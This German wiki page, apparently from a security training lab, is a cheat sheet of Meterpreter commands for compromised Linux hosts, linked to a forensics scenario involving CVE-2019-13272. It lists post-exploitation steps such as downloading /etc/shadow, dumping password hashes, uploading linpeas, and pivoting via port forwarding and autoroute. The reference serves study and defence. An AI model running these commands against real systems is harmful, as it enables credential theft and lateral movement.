Meterpreter unter Linux: Unterschied zwischen den Versionen
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Aktuelle Version vom 14. August 2026, 07:16 Uhr
Grundsätliches
Meterpreter ist die interaktive Payload des Metasploit-Frameworks. Sie läuft im Speicher des kompromittierten Prozesses und stellt einen einheitlichen Befehlssatz zur Verfügung, unabhängig von der darunterliegenden Shell. Der Linux-Payload bietet weniger Kommandos als die Windows-Variante – alles rund um Registry, Tokens oder Timestomping fehlt.
Hinweis: Der Befehl help zeigt in der laufenden Session, welche
Kommandos der konkrete Payload tatsächlich unterstützt. Ein
python/meterpreter kann weniger als der native ELF-Payload.
Session-Verwaltung
- Session in den Hintergrund legen, zurück zur msf-Konsole
- background
- Vorhandene Sessions anzeigen
- sessions -l
- Session wieder aufnehmen
- sessions -i ID
- Kontextbezogene Befehlsliste anzeigen
- help
- Ruby-Konsole im Kontext der Session
- irb
System und Recon
- Betriebssystem, Architektur, Hostname
- sysinfo
- Unter welchem Benutzer läuft die Session
- getuid
- Eigene Prozess-ID
- getpid
- Prozessliste
- ps
- In eine normale System-Shell wechseln
- shell
- Vollwertiges TTY in der Shell nachrüsten
- python3 -c 'import pty; pty.spawn("/bin/bash")'
Dateisystem
- Verzeichnis anzeigen und wechseln
- pwd
- ls
- cd /var/www
- Datei anzeigen
- cat /etc/passwd
- Datei vom Ziel herunterladen
- download /etc/shadow /tmp/loot/shadow
- Ganzes Verzeichnis rekursiv herunterladen
- download -r /var/www /tmp/loot/www
- Datei auf das Ziel hochladen
- upload /tmp/tools/linpeas.sh /tmp/linpeas.sh
- Dateien suchen
- search -f *.conf
- Prüfsumme bilden
- checksum sha1 /usr/bin/verdaechtig
Netzwerk und Pivoting
- Netzwerk-Interfaces anzeigen
- ifconfig
- Aktive Verbindungen
- netstat
- Routing-Tabelle
- route
- Lokales Port-Forwarding einrichten
- portfwd add -l 3389 -p 3389 -r 10.254.31.50
- Route über die Session für weitere Module setzen
- run autoroute -s 10.254.31.0/24
Post-Module
Post-Module sind keine Meterpreter-Builtins, sondern werden mit run
aus der Session heraus gestartet.
- Passende lokale Privilege-Escalation-Exploits vorschlagen
- run post/multi/recon/local_exploit_suggester
- Systemübersicht sammeln
- run post/linux/gather/enum_system
- Konfigurationsdateien einsammeln
- run post/linux/gather/enum_configs
- Passwort-Hashes auslesen (nur als root)
- run post/linux/gather/hashdump
Bezug zum Angriffsszenario
Der local_exploit_suggester schlägt bei einem ungepatchten System mit
verwundbarem pkexec direkt CVE-2019-13272 vor – denselben Weg, über den
im Forensik-Szenario das Binary ptrace_traceme_root ins Root-Home gelangt
ist. Damit schließt sich der Kreis von der Angreifer- zur Verteidiger-Perspektive.